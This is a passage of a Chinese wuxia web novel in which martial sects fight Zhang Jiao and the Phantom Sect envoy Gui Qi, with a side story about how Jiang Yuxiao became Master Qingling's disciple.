“昭兄,你怎么呢?”枯恂与江雨潇赶紧上前,欲扶起昭相雪。 江雨潇:“他不会是中毒了吧。” 枯恂:“中毒?咱们一起的,为何就他一人中了毒,昭兄,你到底咋了?哪儿不舒服啊?” “我,——好痛啊” “痛?哪儿痛啊?” “好痛!全身都痛!”话罢,昭相雪嘴角竟流出血来,像是受了内伤一般。 “我感觉,有两股气流在体内冲撞,打斗!” “两股气流?什么意思啊?”枯恂看了看江雨潇,江雨潇也是一头雾水,摇头不解。 《太平经》一共分六重,一重修身定心、二重强身锻体、三重提功炼气、四重扶摇招风、五重磅礴唤雨、六重血引天雷!所以,《太平经》其实可以分为两部分,第一部分是前三重,以养心健身,提升内力为主,而后三重则是风云变幻,招雨降雷的仙法之术。当下昭相雪才刚看过前三重,理论上,内力并不会快速形成,但因为昭相雪之前无意看过另一部经法《太平清领书》,那本书的内力心法更为霸道,能将外界的自然能量全引到自己身上,为己所用,而不足的是,得在掌握《太平经》的内力后才能发挥作用,因为通过《太平清领书》吸收的自然能量最终要转化为《太平经》的霸道内力然后才能为己所用,而这也是两本绝世神功被列为禁书的原因,首先,《太平经》的内功太过霸道,前面说过,修炼此功的人在与人比拼内力时,如若内力不够,将以精血继,于己危害太大。故此列为禁书,而《太平清领书》同样如此,修道之人首先要掌握《太平经》,接着才能修炼《太平清领书》,吸取外界的自然能量,但问题是,外界的自然能量被吸入体内后,并不会自行转化为《太平经》的内力,这里面,有窍门,如果掌握不了窍门,吸收的自然能量便会与体内《太平经》的内力相冲,缠斗起来,自然能量与《太平经》内力都很霸道,谁也不让谁,最终,修炼之人只会经脉断裂,爆体而亡。 能掌握其中窍门者,寥寥无几,因此这两本书一直封于凌云密阁,连百年前天赋异禀的苍临大师都只敢修炼《太平经》而不敢修炼更为高深的《太平清领书》。 昭相雪口吐献血,全身疼痛,正是突然掌握《太平经》内力,又无意中通过《太平清领书》吸收了外界自然能量,使得两股能量突然相撞导致,巨大的痛觉下,昭相雪一时忍受不住,昏死过去,枯恂扶起他,让他靠在墙上,而江雨潇则替昭相雪把起脉来。 这时,只听门口传来些许声响,暗门竟从外面开了,一老道和一年轻男子走来,正是于吉和苏起。 “师叔,你可算来了,憋死我了。”枯恂见是于吉来了,自然是开心得不得了。 原来,于吉他们摸入了张宝府中,打退了外面的黄巾贼,问出了枯恂他们下落,进来书房一看并没有枯恂踪影,料知必有暗门,一番摸索之下,找到了机关,打开了暗门,同时,还找到了打开另一扇暗门的信物。 “你们没事儿吧。”于吉关心道。 “道长,我们没事儿,但他好像中毒了。”江雨潇指了指昭相雪说道。 于吉也不多话,替昭相雪把起脉来:“不妙啊,他好像受了很重的内伤,里面经脉很乱。” “枯恂,你背着他,咱们先离开这里吧。” “好”枯恂话罢背起了昭相雪。 “走吧,如果我没猜错的话,这边,应该可以直通帅府。”于吉对着后一扇暗门说道,话罢,拿出一块玉来,放在机关之上,暗门打开,一条长不见底的暗道映入眼帘。 【番外】豫蛇庵大弟子 江雨潇 豫州,豫蛇庵: 相传西汉时期,豫州有一个名叫林琬的佳人,她与丈夫在前往青州探亲时遭遇劫匪,丈夫被乱刀砍死,她则被劫匪奸淫,家财也悉数被抢,林琬无心苟活于世,遂跳崖自尽,但造化弄人,跳崖后,林琬全身骨骼断裂,昏死过去,却被一条有灵气的白蛇救醒。 一周后,林琬的身体奇迹般痊愈,并且,比以前更加柔软,接着,她通过与白蛇一年的相处,竟悟出一套极其巧妙的武学,取名为白菱神功,后来,她便开始了对劫匪的报复,调查之下,她发现,当年那伙劫匪竟是从豫州一路尾随至青州的,并在人烟稀少处进行抢劫,有很多人都遭到了他们毒手,于是她回到了豫州,建了豫蛇庵,收留各地不幸的妇女,同时教这些妇女武功,积极报复豫州的匪盗,豫州一度无匪敢来。 当年,林琬的那身白菱神功可谓打遍江湖无敌手,豫蛇庵也一度成为天下第一大派,但可惜的是,那神秘功法对身体的柔性要求极高,除了身体极为柔软的林琬能使用全力,后世弟子皆只能学得皮毛,当时,一些不信命的弟子强行修炼,竟导致她们身体的骨骼错位,筋脉断裂,最终不治身亡。于是,林琬一死,豫蛇庵便没落下去,逐渐成为不入流的二等门派,《白菱神功》更是自此失传。 豫蛇庵庵门紧闭,全庵弟子跪在大殿之中,大殿主位前,站着一位青年女子,戴着墨青面纱,目光坚韧、狠厉。 殿上众弟子皆跪在地上,倾耳细听着女子诵读新教规。看样子,殿上那位女子,乃是豫蛇庵新任庵主。 掌门更替本是寻常之事,但不寻常的是,殿下跪着的弟子,大部分都年过三旬,少部分在二十七、八左右,豫蛇庵立派近三百年,一直以来,尊卑有序,长幼有分,但这届庵主,不仅年纪较小,资历也并不突出:一周前,才刚刚加入豫蛇庵。奇哉、怪哉。 教规诵读完毕,众教徒皆恭恭敬敬磕了个响头,齐声跪拜道:“恭迎青菱师太继位豫蛇庵庵主。” 女子也不推辞,一脸严肃,坐回主位上:“都起来吧。” “先师白菱师太创立豫蛇庵已有近三百年,这些年来,豫蛇庵一直以惩奸除恶,造福百姓为己任,唯恐歹人诛灭不尽,百姓遭受苦难。现如今,天下大乱,官匪勾结,我们豫蛇庵虽有杀贼之心,却无杀贼之力,朝廷阉党步步紧逼,官府匪寇狼狈为奸,将我等圈禁在这弹丸之地,分明欺我豫蛇庵弱小无人!当下,谁能帮我们豫蛇庵摆脱困境?谁能?” 殿上教众你看看我,我看看你,不知该如何作答。 女子接着说道:“谁也帮不了!只有我们自己强大了,豫蛇庵才能强大!江河成冰,非一日之寒;积土成山,非斯须之作……” 正话间,殿门传来阵阵敲门声,一小女孩儿的声音传来:“开门!快开门!我是来拜师的!” 门外喊了半天,女子停下话,示意手下开门,门开后,一小女孩自顾自的走进,粗略估计,在九岁左右,长得十分俏皮讨喜。 “我是来拜师学艺的,你们这里最强的是谁?我要拜她为师!她在吗?最强的在吗?”女孩嘀嘀咕咕个不停。 女子笑了笑,示意门人将其带到殿上。 “我要拜师学艺,拜师学艺。” 看到这小女孩,女子一改严肃脸,和善的将其抱起,笑着问道:“拜师?年纪轻轻的,拜什么师?你父母知道吗?” 一说起父母,小女孩立马哭丧着脸:“我父母不要我了,我父母不要我了。”呜呜呜的哭个不停。 女子赶紧给她擦擦眼泪:“怎么会呢?哪有父母会不要自己小孩的。” “他们就是不要我了!他们要让我做童养媳,他们不要我了!不要我了!”女孩眼眶仿佛蓄水池一般,一个劲儿的哭着。旁边门人说道:“庵主,我来抱吧。” 女子笑了笑,轻言道:“无妨。”接着,她对小女孩儿说道:“好了,好了,不哭了不哭了,你父母不要你,我们要你。”话罢轻轻擦拭着小女孩泪痕,小女孩仍哭嚷个不停:“我要拜师,我要拜师!” 女子没有回答,看着旁边老婆婆问道:“灵源师太,我可以收她为徒吗?” 那老婆婆笑了笑:“青菱师太,您辈分比我大,况且,现在您是庵主了,您说了算。” 女子一听,笑了,转过身对小女孩说道:“你叫什么名字啊。” “江雨潇。” “江雨潇?好,从今天起,你就是我青菱师太座下的大弟子!” “真的吗?我有师傅了?不用做童养媳了?” “当然,你是我的大弟子,怎么能做童养媳呢,以后,你想嫁谁就嫁谁!” “太好了太好了,师傅,我向您发誓,我江雨潇,此生一定会嫁给天底下最好的男人!” 青菱师太笑了笑,轻轻点点头。 …… 第二十八章 黄巾偏将肃蛊!鬼岐? 帅府: 眼下,七大门派围攻张角,各个拼尽全力,表面上,张角和他们五五开,实则不然,张角那边已然支撑不住了,内力损耗巨大,所剩内力已然不过两成,再打下去,怕是要以精血继了。 当然,七大门派这边,内力损耗也不小,但他们胜在人多,大家一均摊,状态自然比张角好些。 “大家坚持住,张角就快完了。”说这话的是空涧庄的蔡彧,眼下他虽鼓励着众人,但他本身冲在最前,内力损耗极为严重,眼下内力只剩一成多。 这时,张角身后,一黄巾偏将缓缓站起,乃是波才手下的一员猛将——肃蛊。皇甫嵩火攻波才将营时,他单枪匹马,突出重围,逃回了冀州。此时,他看着两边拼尽全力缠斗,丝毫不慌,神态极其自然,七大门派只当是黄巾贼中一漏网小兵,不以为然。 肃蛊话不多说,直接震破太平道服,露出一身紫色长袍,人皮面具一撕,竟是个老者。 “是你!”孤殇大惊。这紫袍道士不正是三年前救走曹节的鬼岐嘛! “在下,魅影教左护法:鬼岐,各位,得罪了!”鬼岐表面上说话客气,内心却凶狠无比,一出手,必是杀招! 当下,众人听了魅影教皆不以为然,只当其是个无名之辈,胡说狂语罢了。但接着,当鬼岐拔出他的宝剑时,七大门派中的一些资历老,见识广的高手慌了,苍临大师的遗物——七魂剑,此剑百年前便遗失了,众人只在古籍中见得些许记载,能握得此剑者,岂会是凡夫俗子。 鬼岐邪魅一笑,急施剑法:“凌空剑法第八式——众生卸元!” “第八式?”当下孤殇见状直接吐出一口老血来,凌空剑法创自凌云谷,他是凌云谷的拜门弟子,却也只会七式凌空剑法耳,哪料到眼前这魔教妖人竟会第八式,如今七魂剑在这魔教妖人手中,想来那《凌空剑谱》也定是落在了魔教之手。 只见七魂剑中飞出七柄剑灵,形态不一,凶煞非凡,七剑飞到七大门派上空后,瞬间汇聚成了一柄巨剑,上空的压力,完全不输下面斗法的两方势力,接着,狂风骤起,原本散落在院内的碎石、落叶、断剑、碎瓦等通通往巨剑处汇聚,全部围着巨剑旋转起来,巨剑一边旋转一边飞出小剑攻击众人。众人大惊,想抽身躲闪,但正与张角比拼内力的他们,如何抽得开身!只能任由那些小剑刺来。 小剑刺中七大门派的高手,并没有直接刺死他们,而是将他们的内力大幅度的从体内剥离,当下,七大门派的内力损耗巨大,张角立马占据上风,两掌一推,七大门派高手尽数被推倒在地! “哈哈,七大门派也不过如此嘛!”张角狂笑起来,接着转身恭敬的对鬼岐说道:“多谢英雄相助。” 鬼岐邪魅一笑,阴狠的说道:“七大门派,一个不留,尽数杀了!” “当然”张角亦赞同的说道。 与此同时,门外的黄巾贼党们攻势太猛,突破了关伟、张延他们的防线,攻进院来,七大门派被死死的围在院中,他们伤得太重了,只能先原地坐下,打座疗伤。此时,除了青菱师太还保有三成左右的功力外,其余众人功力都已不足一成。 “动手,一个活口别留!”张角大声对手下们吩咐道。 “等下。”鬼岐看到旁边重伤的孤殇和于婉突然想到了什么。 “把他们两留给我,其他的人,任凭大帅处置。”鬼岐指着孤殇和于婉,语气十分客气。 张角愣了两秒,愤怒的他本想杀光七大门派,但眼前的这个鬼岐,功力深不可测,身份又不明了,况且,如今自己状态也不佳,索性卖他个面子。“好,把他们两绑起来,其他的,就地正法!” 两个黄巾军上前欲抓住于婉和孤殇,突然,一阵气波飞来,直接将那两个小兵打倒。 “我看谁敢动她!”说话的竟是豫蛇教的青菱师太! “找死!”鬼岐轻功一闪,直接从十多米外闪到青菱师太身前,右手往前一伸,紧紧掐住她脖子,将其举起。 “好快的身法。”张角不禁暗叹道。 七大门派的人也都极为震惊,想不到这鬼岐不仅剑法了得,轻功上的造诣也如此之高。 鬼岐本就比青菱师太要高一些,当下一用力,更是直接将青菱师太从地上举起,悬在空中。 于婉担心道:“师太小心啊。” 张宝府中,于吉几人顺着密道向前走着。 “这密道也太长了吧。”枯恂背着昭相雪,小声嘀咕道。 “枯师弟,这才走多远,你不会是背他背累了吧,要不换我来。”苏起。 “累?怎么可能,这点儿负重,对我来说算事儿吗?”枯恂当着江雨潇的面,自然不能丢了份。 “对了,这位小兄弟怎么受了这么重的内伤啊?”苏起与枯恂闲聊起来。 “不知道啊,他一路也没跟谁交过手啊,刚进密室还好好的,过了个半时辰就突然这样了。”枯恂也是一头雾水。 “不会是看了这本书的原因吧?”江雨潇一边说着,一边拿出刚才昭相雪看的那本手抄书递给苏起。 苏起接过书胡乱翻了翻,似乎并没什么不妥。“这什么书啊?” “一本手抄书,没写名字。”枯恂 “师叔,你认识吗?”苏起将书递给了于吉。 于吉接过一看,随便翻了两页,大惊,冷汗直冒! “这是《太平经》?” “《太平经》!?”众人皆惊。谁也没想到,失踪十几年的太平经会以这种形式再现。 第二十九章 师太青菱 另一边,谁也没想到,鬼岐竟能从十多米外,瞬间闪到青菱师太面前,眼下,青菱师太被鬼岐掐着脖子,悬在半空中,七大门派的人大都只有一成左右功力,除了干着急,啥也做不了。 然而,多年之后,当他们再次回想起这一幕时,只会觉得,当时的担心,完全是在多虑。只来到豫蛇教一周便晋升为掌门的青菱师太,岂会是等闲之辈! 当下,青菱师太丝毫不惧,左脚向前一扫,鬼岐身体本能的向后弯曲,躲过师太攻击,不料,本该紧抓师太脖子的左手竟莫名滑开了,鬼岐当然不会善罢甘休,再往前抓了几下,却始终没能抓住半分!似乎,这抓的不是一个人,而是一条纤细的蛇! 几番攻击,鬼岐虽然没能抓住人,但却顺手扯下了青菱师太的朱红面纱。 还未来得及细看正脸,青菱师太便开始反击了,此时的她,身着一袭青色长裙,宛若青蛇一般,快速从鬼岐的左手盘绕至身上,鬼岐想抓她,却因速度太快,身体太滑,怎么抓都抓不住,这时,师太绕到鬼岐背后停下,手指急速向其头部伸进,欲往鬼岐太阳穴插去,鬼岐大惊,立刻回手护住太阳穴,青菱师太尖长的指甲竟直接嵌进鬼岐手背中,不过,万幸护住了太阳穴。 鬼岐惨叫一声,顺手将青菱师太从背后推下,急施身法,直接退到二十米外,暂时逃离了青菱师太的攻击范围。 当下,见识了青菱师太这出神入化的功法后,众人都惊呆了。不过,更惊讶的是,这青菱师太对外号称已是四十有四,大家都以为面纱之下,是一张年老色衰的丑脸,哪知,面纱之下却是一张美得无可挑剔的绝世容颜,倾国倾城之容也不过尔尔。 那张脸绝不是四十多岁的人该有的,光论肤色,倒该是个二十五六岁的姑娘,肌肤白洁如冰,顺滑如玉,微启的朱砂红唇满是魅惑,摄人心魂,双眸似明珠一般水灵,却也冷艳非凡,直勾勾的看着鬼岐,似乎下一秒,便要杀死他一般。 众人皆小声交谈着,或议论青菱师太的绝世容貌,或钦叹她那神秘的功法。无不目瞪口呆,韦凌峰看着青菱师太,不觉从袖中摸出一张朱红面纱来:“十六年了,真的是你吗?还是说,我只是在做梦?” 一旁的大贤良师张角忍不住问道:“这是什么功法?” 青菱师太轻声答道:“白菱神功。” 这下众人更惊了,要说这《白菱神功》,就不得不提两百多年前的林琬师太,当年她创立的豫蛇教可算是江湖第一大派,凭着那身白菱神功,当年可是打遍天下无敌手的存在,只可惜,二代弟子中,却无一人能继承她的衣钵,致使神功失传,教派没落。这青菱师太是豫蛇教的掌门,会《白菱神功》倒也正常,只是这功法失传近三百年了,今日突现江湖,也不知是真是假。 张角游历四方,当然听说过这《白菱神功》的厉害,今日一见果然是名不虚传,眼下,七大门派能打的不过青菱师太一人耳,只要和鬼岐联手打倒她,七大门派将再无敌手。师太经过之前的消耗,内力还剩三成,而张角此刻只有两成的内力了,不过《太平经》功法十分霸道,内力不够,可以血继,况且鬼岐的内力还算充足,估计有六成左右,所以,比拼内力的话,倒还是他们的胜算更大。 张角看向鬼岐,眼神交流了下。鬼岐也是聪明人,自然能懂张角的用意,只是眼下这杜菱有白菱神功这般灵活的身法,岂会轻易与他们比拼内力? 鬼岐往旁边一瞟,看见了盘坐在地的于婉,邪魅一笑,瞬间计上心头,只见他轻功一施,直接闪到于婉面前,手被插穿可是很痛的,但鬼岐好歹也是魅影左使,这点小痛还是忍得住的。伸手一抓便将于婉带走,于婉内力损耗巨大,哪里反抗得了,师太见状果然心急如焚,生怕于婉受到半点儿伤害,白菱神功一施,似蛇一般快速向于婉方向伸去,鬼岐的轻功快是快,只是短期内并不能连续发动,所以师太能够很快追上,但这不过是鬼岐他们的圈套罢了。当下,青菱师太刚抓住于婉,鬼岐立马放了手。师太顺势将于婉抱住,这时,张角突然出现在身旁,一掌打来,凭师太的身法,躲过这一掌自是不在话下,但眼下,躲过之后,这一掌势必会打到于婉身上,伤势本就不轻的于婉哪里受得了这一掌,不死也得残啊,但师太不躲又能如何?硬接下这一掌?没错,青菱师太选择了后者,她将于婉推开,准备硬接下这掌。 《白菱神功》对身法的修炼确实不错,但对提升内力的帮助却并不大,不过《白菱神功》当年能够号称天下第一神功,自然不可能只靠那灵巧诡异的身法,当下,师太推开于婉后,张角已至身前,当面一掌挥来,她绝躲闪不开,等等,为什么要躲呢?! 只见青菱师太右手食指与中指并拢竖起,注入大量内力,向前猛烈插去,千钧一发之际,师太将一成多的内力都堆积到了两指之间,使得柔弱的手指竟然如矛一般,直面张角的掌法,接着,指掌相碰,师太轻轻后退一小步,张角却被击飞了五米多远。 鬼岐显然没有料到杜菱竟还藏有如此厉害之杀招,所幸之前近身战时,杜菱没有使出此招攻击自己的太阳穴,否者双手废了都不一定能挡下,事实上,杜菱之前与鬼岐近身战时,并不是不想用此招,只是此招对内力损耗极大,当时她只有三成内力,用此法确实能击败鬼岐,但却不利于之后与张角的交手,而眼下对张角使出此法,则完全是迫于无奈,自保的行为,若是不用此招,被张角的掌法击中,只怕就不止是损耗内力这么简单了。 当下,张角重伤倒地,再没醒来。 张角虽倒,但形势仍不容乐观,此时,青菱师太的内力只剩下一成多,鬼岐的内力却十分充沛:“凌空剑法第六式——七元卸甲!”只见鬼岐七魂剑一挥,七柄剑灵从剑中飞出,刺向师太,《白菱神功》十分灵巧,要想躲过,到也不难,但躲过的飞剑极有可能会伤害到其他道友同门。眼下,众人都受了重伤,可不能再受到半点儿伤了,还得硬接! 第三十章 转危为安 “蛇仙指路”(《白菱神功》中指法的一种。)青菱师太从后摸出两枚飞蝗石,双手前伸对空一弹,那两颗飞蝗石被注入了少量内力急速朝那七柄飞剑击去。只见那两粒飞石对直撞上最前面的两柄飞剑,靠法力形成的飞剑与飞蝗石中注入的内力一起消逝了,飞蝗石失去了内力的加持也失去了前进的动力,从空中落下。 前面那两枚飞蝗石只是试探飞剑法力的,试出飞剑大概的法力后,青菱师太直接摸出4颗飞蝗石,注入内力向前弹出,四柄飞剑随着飞蝗石的撞击消失了,瞬息时间,七柄飞剑只剩下一柄了,眼下用《白菱神功》的灵巧身法躲过这飞剑自然是易如反掌的,接下来,只需等飞剑近身,她再急闪躲过,让飞剑撞到地上自然消失即可。 眼看着飞剑就要近身了,青菱师太正准备急闪躲过,但还没等到飞剑近身,前面却突然冒出个人来,肉身替自己挡下那飞剑,竟是韦凌峰! 原来,韦凌峰虽受了伤,但仍时刻关注着青菱师太,从张角出掌偷袭她时,他便准备好随时冲过去帮忙了,奈何还没近身,张角便已被击倒,当下见她被七剑攻击,很是着急,虽然七剑被打散了六剑,但还有一剑没消去,韦凌峰见她没像之前那样动手攻击飞剑,还以为是青菱师太的内力耗尽了,眼看飞剑将近,自以为师太“势危”,此时内力所剩无几的他,竟没有丝毫犹豫,直接冲上去,用肉身挡下那飞剑,他哪里知道,师太不过是为了省点儿内力,才没有继续用飞蝗石攻击飞剑的。 本就重伤的韦凌峰又中了这飞剑,伤势更重了,向旁倒去,青菱师太赶紧上前扶住他:吼道:“你在干嘛?找死啊!”眼前这幕完全出乎了她的预料。 韦凌峰苦苦一笑,缓缓说道:“你和她,长的真像,十六年前,对,对不起了。”话罢便失去知觉,晕倒了。 青菱师太听了这话愣了两秒,摇摇头,将韦凌峰放到一旁。 看见倒了个敌人,鬼岐冷冷一笑,讽刺道:“别担心,下一个就是你。”话罢,又施展起凌空剑法第六式,七柄剑灵再次飞出,立在鬼岐上空。 “我如果没猜错的话,你的内力所剩只有一成了吧,用飞蝗石作为指法的推力,确实可以省下不少内力,只是不知道,你省下的内力,还能再挡住我几波攻击!”话罢,七柄飞剑齐出,直取青菱师太。 眼下,青菱师太确实只剩下一成左右的内力,而鬼岐的内力还剩下六成多,再这样消耗下去,内力定会枯竭,必输无疑,而此刻的青菱师太绝不能输,眼下,众人的性命可都在她手上,输了,她可就是七大门派的罪人了,不过,她倒是不在乎这些,她真正想拼命保护的人,其实,只有于婉和豫蛇教的弟子们罢了。要想赢,只能靠《白菱神功》打近身战!但这个魅影左使轻功极高,想要近他身,绝非易事,况且,之前他在近身战中可是吃了大亏,眼下绝不会再给青菱师太任何机会打近身战。 当下,七剑飞来,师太直接取出六颗飞蝗石来,正要施法弹出时,只见,师太身后的屋子里突然飞出七柄虚剑来,径直朝鬼岐的那七柄虚剑击去,十四把剑两两相撞,不相上下,缠斗片刻便都消失在空中。 盘坐在地运功疗伤的孤殇松了口气,轻言道:“终于来了!” 来的不是别人,正是凌云谷三长老于吉,万幸,那条暗道真是通向张角帅营的。 只见,五个人从那小屋里走了出来,正是于吉他们。 江雨潇被关了那么久,最想见的当然是自己的师傅,看到眼前那青衣女子熟悉的服饰,刚要喊师傅,但仔细看去,她却愣住了,眼下这个人的衣着,是青菱师太无疑,但青菱师太一直带着面纱示人,即使江雨潇身为豫蛇教大弟子,但也从没见过师傅真容,她原以为师傅是因为容貌不佳才会一直戴着面纱的,而眼前这个女子有着倾国之色,十分年轻美艳,真的是四十多岁的师傅吗? “师傅?”江雨潇轻声试探道。 看见江雨潇回来,青菱师太又喜又怒:“你干嘛去了?还不快过来。” 可以确定了,正是青菱师太的声音,江雨潇小跑过去,跪在地上:“对不起,师傅,弟子知错了,请师傅责罚。”江雨潇哭道。 师太当然没有责罚她,只是欣喜的笑了笑。 鬼岐看了看四周,张宝、张梁、张角三人皆元气大伤,昏迷不醒被手下照顾着,此时,虽然满院都在黄巾兵的包围中,但这群乌合之众,在对战武功高强的武林人士时,显然帮不上什么大忙。而新来的这个老者,看上去,修为不低,且状态良好,再留下去,恐于己无益,三十六计,走为上,鬼岐话都不留一句,转身便跑。 “他只有六成左右的功力了,七魂剑和《凌空剑谱》都在他手上,快追上他!”孤殇朝于吉喊道。 于吉听了,转身对苏起和枯恂嘱咐道:“你们把院里的黄巾贼都清理了,带着七大门派的人从地道里走。”话罢,将那信物递给了苏起,轻功一施,向鬼岐追去。 哪知,于吉前脚刚走,昏迷的张角便清醒过来了,原来,张角之前一直是在装昏迷,为的就是让青菱师太和鬼岐互相消耗,想等他们两败俱伤时,他好坐收渔利,哪知,鬼岐和师太还没消耗多少,半路跑出个于吉来。本以为今天要死在七大门派手里了,哪知,鬼岐竟能将于吉引开,此下,岂不正是团灭七大门派的好时机吗? “给我上,全部杀光一个不留。”张角对太平道的黄巾兵们下令道,霎时间,院内数百黄巾兵冲杀过来,而院外,数千黄巾兵则随时准备补上,七大门派形势危急,不容乐观啊。 第三十一章 弑神之药 张角一声令下,黄巾贼们如洪流一般涌了上去,虽然七大门派的高手内力都耗尽了,身体也十分虚弱,但他们除魔卫道、拯救黎民的决心还在,眼下,他们没有一个胆怯的,都拿起武器,拼命和黄巾贼们厮杀起来。 眼下,七大门派中,最能打的当属苏起和枯恂了,苏起师承谷月清,枯恂师承孤殇,他们的最高阶功法分别是云霄九剑第七式、凌空剑法第六式。当下,两大杀招齐放,场上瞬间飞出十四道剑气来,飞剑往黄巾军中一扫,瞬息时间,十几个黄巾兵直接中剑倒地了。 这一场面可把张角震到了,不禁在心里暗叹:“想不到,这两个年轻人,实力竟如此强悍,看来只能用那招了。”只见张角摇摇头,从袖口中摸出一个盒子来,打开一看,里面放着两粒药,一白一黑。张角低头看着药盒,面色凝重,陷入沉思,抬头看见“势不可挡”的苏起、枯恂、江雨潇、昭相雪等人正在厮杀着太平军,又看到靠着墙,奄奄一息的张宝张梁,一时怒不可遏,倒出两粒丹药咽了下去。 这两粒丹药看起来平常,但它们的名气可不小,乃是武林禁药——阴阳弑神丹,这药之所以被列为禁药,正是因为它药效和药质的恐怖,先说药效,吃下此药的人内力会瞬间提升至平时的十多倍左右,再说药质,那粒白色的药丸,乃是取至武陵山的噬阳灵菇,此菇是天地间少有自带灵力的植物,但遗憾的是,这药并不是补药,之所以称它为噬阳灵菇,正是因为吃下它之后,它蕴含的灵力并不会滋补人体,相反,它还会与体内自带的内力相冲撞,内力低弱的人甚至会被此菇霸道的内力冲撞致死。 而另一个黑色的药丸,来头可就更大了,据说是采至江东黄骷岛上的毒草——神仙怯,传说,上古时期,有位药仙曾去往那座岛上采药,只因误食了这毒草,便当场毙命,死后骨头都是发黄的,所以此岛后来被称为黄骷岛。事实也确实如此,此草药被人吃下后,若不及时医治,此药便会将体内的各种器官列如胃、肠等统统腐烂,但唯独不会腐蚀骨头,所以说人死后,骨头是黄的,并不是说骨头变黄了,而是体内的那些器官被腐蚀后化作了一滩黄水,附在了骨头之上,所以,也就成了黄色的骷髅。 这两粒药若是分开来吃,那可都是致命剧毒,但若合在一起吃,却有着瞬间提升功力的惊人功效,正是因为,那神仙怯能为噬阳灵菇的灵力提供一个载体,使得噬阳灵菇中蕴含的灵力能为宿主所用,而噬阳灵菇则会与神仙怯中合,使得神仙怯不会马上腐蚀人的器官,但随着时间的推移,噬阳灵菇终会被肠胃消化掉,但可惜的是,神仙怯不会,换句话说,当噬阳灵菇消化殆尽之时,便是神仙怯剧毒发作之时。所以,此药虽有奇效,但后遗症却几乎无解,不到万不得已,谁又会吃下这种药呢? 当下,张角吃下阴阳弑神丹,内力迅速恢复,接着猛涨,竟是平常的两倍左右,灵力的巨大波动引起了孤殇的注意力,孤殇往张角那边看去,大惊:“不可能吧!为何他的内力比之前更甚,难道……”想来,孤殇也听说过武林禁药——阴阳弑神丹的传说。 此时,沧海方丈也注意到了张角灵力的波动,叹息道:“七大门派休矣!” “沧海方丈,那是何药?”空涧庄的蔡彧问道。 “阴阳弑神丹,普通人服用,能瞬间提升平时十多倍左右的内力,张角的内力比寻常人更雄厚一些,所以药效没那么明显,但也有用,吃下此药,此时的内力恐怕至少是平时的两倍。” “两倍?”一旁的青菱师太惊了,此前,没有吃药的张角便让众人拼尽全力了,眼下,张角功力大增,谁又能挡得住呢?当下,众人完全失去了斗志,士气大落。 “七大门派可不能全折在这儿,大家快走,我来开路!”关键时刻,空涧派的蔡彧倒还算理智,当下他快速架好琴,攻击门口处的黄巾军,很多内力低下的黄巾军听了琴音后,便迷失了心智,捂住耳朵,倒在地上。讲道理,蔡彧此时的内力已不足一成,理论上是不够对黄巾军施展琴音攻击的,但空涧派的内功心法《空谷凌涧》与《太平经》很相似,内力不足时,能将精血化为内力,不同的是《空谷凌涧》是主动将精血化为内力,而《太平经》是被动,同时,它们虽都能将精血化为内力,不过《空谷凌涧》化出的内力明显不及《太平经》的强悍。 当下,黄巾军的包围圈被撕开个口子来,蔡彧口吐鲜血,但他仍坚持着,欲再攻击四周的黄巾军,但功力高强的张角又岂会给他这个机会,隔空一掌挥去,没及蔡彧反应过来,便被那掌风击倒在地,琴也被拍倒,摔破一角,断了两根弦。 “你们快走,我来对付他。”沧海提起禅杖,立于阵前。 “渊龙杖法第九层——渊龙啸天”此前,沧海方丈从没用过这渊龙杖法的第九层,换句话说,他的第九层尚未参悟出来,他只会其形,而不会其实。但眼下,他不得不出此杀招,渊龙杖法第八层已被张角破解了,只有使出更强大的招法才有对抗张角的可能,但此时,沧海方丈内力只有一成,且又不熟络此招,成功几率十分渺茫。 于此同时,七大门派的其他人也没闲着,正与黄巾贼们疯狂厮杀,但黄巾军实在太多了,刚撕开个口子,很快便被外面的黄巾军冲进来补上。 “我来助你一臂之力。”说这话的正是凌云谷二长老孤殇,孤殇提剑上前,剑势一起,欲施展凌空剑法第七式。 一百多年前,白马寺高僧摄摩腾的《渊龙杖法》第十层曾与凌云谷谷主苍临大师的《凌空剑法》第九式联合起来,组成一式强劲杀招,击败了不可一世的魔头无冥。 百年之后的今天,沧海一粟的《渊龙杖法》第九层能否与孤殇长老的《凌空剑法》第七式再度合体,击败眼前这个同样不可一世的张角呢? 第三十二章 覆灭,七大门派! 帅府之外,于吉正紧追着鬼岐,距离越来越近。鬼岐虽然有瞬移的诡异轻功,但并不能一直使用,逃跑主要还是靠基本轻功,而于吉的轻功是凌云谷最好的,追上鬼岐似乎只是时间问题,眼下,鬼岐见甩不掉于吉,索性停下来,和他分个高低胜负。 “咱们之前有见过的吧!”鬼岐一边问话,一边拔出七魂剑来。 “当然,在下乃凌云谷三长老——于吉,不知阁下名号。”于吉握紧拂尘客气问道。 “魅影教左使——鬼岐,既是凌云谷的,那你一定是来夺这把剑的吧。”鬼岐拿着剑说道。 “错,不是夺,是取回!”于吉话音刚落,提起拂尘便杀向鬼岐。 鬼岐也不退让,提起七魂剑迎了上去。 凌云谷 此时谷月清正在后山一山谷中闭关参悟《云霄九剑》第九式,而胡啸则在谷口护法,三弟子公孙笠则看守着凌云密阁。 突然,山谷中传出一声巨响,惊醒了谷口盘坐的胡啸,胡啸赶忙施展轻功,进谷查看。 只见谷月清正衣衫褴褛的跪坐在地,向天跪拜着,而四周,全是大块的破石、断枝。 片刻,谷月清拜完站起。 看着谷月清衣衫破烂不堪的狼狈样,胡啸担忧道:“谷主,你没事吧” “没事儿,《云霄九剑》第九式终于练成了!”谷月清笑道。 “成了?太好了,这下,咱们就不用害怕魔教入侵了!”胡啸也是松了口气,一阵欣喜。 帅府: 此刻,沧海一粟和孤殇平息了一下气血,为联合杀招做最后的准备,张角似乎起了玩心,并不出手阻止,他倒想看看,只有一成内力的沧海和孤殇,还能再翻出什么大浪来! “渊龙杖法第九层——渊龙啸天!”说起来,平时修炼时,这第九层功法,苍海是一次也没施展成功过,但眼下,生死存亡时,内力稀薄的他,竟然成功了! “凌空剑法第七式——七元归一!”孤殇见沧海成功了,立马也施展出凌空剑法来配合他。 当下,风云突变,原本晴朗的天空,瞬间布满乌云,而乌黑的天上,似有龙啸,片刻之后,云层中,竟真飞下一条龙来!当然,这并非真龙,而是沧海一粟施展的《渊龙杖法》,将空中的乌云化为了一条蛟龙,这龙可不单单只是乌云这么简单,此时,乌云中正夹带着少量的雷电,被它咬上一口,可不是痛一下那么简单了。还没完,只见七柄长剑飞入蛟龙的七个部位|,似化作蛟龙的龙骨一般,接着,七剑归一,原本十几米长的蛟龙快速压缩、变化,最后竟变为一把黑紫色的长剑来。黑色代表着被挤压的乌云,而紫色则代表的被挤压的剑气和闪电! 